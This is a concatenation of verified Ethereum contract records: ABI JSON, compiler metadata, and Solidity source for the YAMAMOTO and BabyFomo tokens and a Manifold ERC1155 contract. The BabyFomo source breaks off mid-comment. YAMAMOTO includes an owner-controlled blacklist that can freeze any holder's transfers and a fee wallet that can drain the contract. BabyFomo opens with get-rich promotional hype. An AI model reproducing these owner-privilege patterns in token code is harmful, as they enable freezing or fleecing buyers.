swapEnabled = _swapEnabled; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function changeTaxWallet(address _marketing) public onlyOwner{ _marketingAddress = payable(_marketing); } function setMaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWallet(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function removeLimits() public onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }

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payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"_toggleSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTaxes","type":"uint256"},{"internalType":"uint256","name":"_sellTaxes","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"changeSwapbackThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"}],"name":"changeTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addy","type":"address"}],"name":"unBlockWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.22+commit.4fc1097e

Default

None

ipfs://9cc9c66005a6addc06a429affb738ccaf612586be16f28d28d6764a3ffa63700

Yamamoto

Yamamoto.sol

0x03763ccdc9b270f4a50d35c447ff2f5144afd74b

Solidity

/** * */ /* https://t.me/YamamotoERC */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Yamamoto is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "YAMAMOTO"; string private constant _symbol = "YAMAMOTO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x9E420aE46e7825467b93Cb94e18f7984Add4B426); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addbot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

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v0.8.7+commit.e28d00a7

Default

Unlicense

ipfs://d69b36cd77b39ecb27803de62992895cee63a9a54d75f0e2bafcf674b00e082b

MORZSNN

contracts/MORZSNN.sol

0xb014a2745459fccb9a3b5baf1f23e7c6177fbf49

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: moments ^ RZSNN /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; ////////////////////////////////////////////////////////////////////////////////// // // // // // // // // // _____ /\ ____________________ _________ _______ _______ // // / \ / \ \______ \____ / / _____/ \ \ \ \ // // / \ / \ \/\/ | _/ / / \_____ \ / | \ / | \ // // / Y \ | | \/ /_ / \/ | \/ | \ // // \____|__ / |____|_ /_______ \/_______ /\____|__ /\____|__ / // // \/ \/ \/ \/ \/ \/ // // // // // // // // // ////////////////////////////////////////////////////////////////////////////////// contract MORZSNN is ERC1155Creator { constructor() ERC1155Creator("moments ^ RZSNN", "MORZSNN") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

0xe9ff7ca11280553af56d04ecb8be6b8c4468dcb2

BabyFomo

BabyFomo.sol

0x67251ac164f5a543504da7a728c8bba31ab8b751

Solidity

/** I always keep saying you buy shit when no one wants it. That's how u make 7 figs not when everyone does it. Don't follow the herd be the first mover. Or you'll stay poor forever Join the Fomo https://t.me/BabyFomoEth 5/5 Tax for BuyBackBurn and Marketing **/ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since 